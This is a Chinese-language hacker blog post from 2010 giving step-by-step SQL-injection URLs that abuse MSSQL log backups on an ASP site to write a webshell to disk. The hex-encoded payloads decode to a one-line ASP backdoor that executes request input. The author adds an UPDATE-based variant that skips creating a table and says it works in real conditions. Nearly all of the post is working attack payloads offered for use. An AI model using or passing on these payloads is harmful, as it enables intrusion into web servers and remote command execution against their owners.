另类差异备份(无建表)(原创) seraph

2010, February 9, 9:46 AM. 黑友网文
Submitted by admin

现在我们大部分同志备份拿WEBSHELL都是使用工具,下面来看看我们经常使用的方法

第 一 步:
http://192.168.0.2/news.asp?id=1;create table [dbo].[shit_tmp] ([cmd] [image])--
第 二 步
http://192.168.0.2/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
第 三 步
http://192.168.0.2/news.asp?id=1;insert into [shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
第 四 步
http://192.168.0.2/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate--
第 五 步
http://192.168.0.2/news.asp?id=1;Drop table [shit_tmp]--

第一步建表,第二步备份之前的数据,相当于下一个断点,第三步插入数据,第四步再次差异备份,得到WEBSHELL第五步,删除表

先来分析一下这种方法,差异备份其实备份的并不是数据,而是备份对表操作的SQL语句,比方说上面这个方法他备分得到的小马来源并不是来源于数据,而是来源于第三步的语句,第三步中呢重点又在于后面的小马,并不在于方法,所以我也就想到了在利用UPDATE来代替INSERT

得用update的好处在于省略了第一步和第五步,坏处在于,你需要找一张表来代替新建的表,

第 一 步
http://192.168.0.2/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
第 二 步
http://192.168.0.2/news.asp?id=1;update tablename set col1=(0x3C25657865637574652872657175657374282261222929253E) where id=1--
第 三 步
http://192.168.0.2/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate--

得用update在实际情况中测试已经通过

« 上一篇 | 下一篇 »

Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):